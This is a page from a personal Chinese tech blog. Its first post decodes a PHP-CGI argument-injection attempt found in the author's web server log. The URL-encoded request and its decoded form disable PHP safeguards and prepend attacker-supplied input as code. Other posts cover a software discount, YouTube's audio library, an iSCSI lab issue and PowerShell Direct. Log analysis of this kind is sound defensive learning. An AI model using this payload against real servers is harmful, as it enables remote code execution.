2017年12月30日 星期六

從 Web Log 學習系統漏洞 3

在Log檔中發現一段看不懂的亂碼

162.243.79.133 - - [30/Dec/2017:13:52:51 +0800] "POST //%63%67%69%2D%62%69%6E/%70%68%70?%2D%64+%61%6C%6C%6F%77%5F%75%72%6C%5F%69%6E%63%6C%75%64%65%3D%6F%6E+%2D%64+%73%61%66%65%5F%6D%6F%64%65%3D%6F%66%66+%2D%64+%73%75%68%6F%73%69%6E%2E%73%69%6D%75%6C%61%74%69%6F%6E%3D%6F%6E+%2D%64+%64%69%73%61%62%6C%65%5F%66%75%6E%63%74%69%6F%6E%73%3D%22%22+%2D%64+%6F%70%65%6E%5F%62%61%73%65%64%69%72%3D%6E%6F%6E%65+%2D%64+%61%75%74%6F%5F%70%72%65%70%65%6E%64%5F%66%69%6C%65%3D%70%68%70%3A%2F%2F%69%6E%70%75%74+%2D%64+%63%67%69%2E%66%6F%72%63%65%5F%72%65%64%69%72%65%63%74%3D%30+%2D%64+%63%67%69%2E%72%65%64%69%72%65%63%74%5F%73%74%61%74%75%73%5F%65%6E%76%3D%30+%2D%64+%61%75%74%6F%5F%70%72%65%70%65%6E%64%5F%66%69%6C%65%3D%70%68%70%3A%2F%2F%69%6E%70%75%74+%2D%6E HTTP/1.1" 404 209

經過解碼後, 原來是用utf-8編碼過:

cgi-bin/php?-d allow_url_include=on -d safe_mode=off -d suhosin.simulation=on -d disable_functions="" -d open_basedir=none -d auto_prepend_file=php://input -d cgi.force_redirect=0 -d cgi.redirect_status_env=0 -d auto_prepend_file=php://input -n




2017年12月29日 星期五

用更便宜價錢購買 Movavi Video Editor Plus

在網路上搜尋影音編輯軟體時發現了這個軟體, 操作容易且價格便宜, 先下載了試用版回來試用, 試用期結束要移除軟體時跳出了優惠方案, 點進去一看發現居然打了6折, 這... 銷售方式還真特別, 這樣我先下載試用版再移除後去購買不就更便宜, 那一開始就購買的不就...盤子 XD

原本官網售價

試用版軟體移除後跳出優惠畫面

疑... 打了6折耶, 賺到了 XD

2017年12月21日 星期四

Youtube 的免費音樂音效

Youtube在「創作者工作室」的功能中, 有個免費音樂及音效的(下載)提供

1. 登入後進入「創作者工作室」, 在創作工具箱裡有個音效庫
w-studio.idv.tw

2017年12月2日 星期六

iSCSI for Failover Cluster 練習時出現的連線問題

在設定好網路的VM中練習安裝iSCSI時出現了無法連線的問題
以為是VM沒安裝好反覆重新安裝試了一整天
w-studio.idv.tw

PowerShell Direct 與 PowerShell DSC

。PowerShell Direct:
Windows 10 和 Windows Server 2016 的新功能, 在虛擬機不需設定網路及防火牆的狀態下, 從主機進入(帳號登入)到虛擬機的環境執行 PowerShell

指令範例:
Enter-PSSession -VMName [VMName]
Invoke-Command -VMName [VMName] -ScriptBlock {<Windows PowerShell commands>}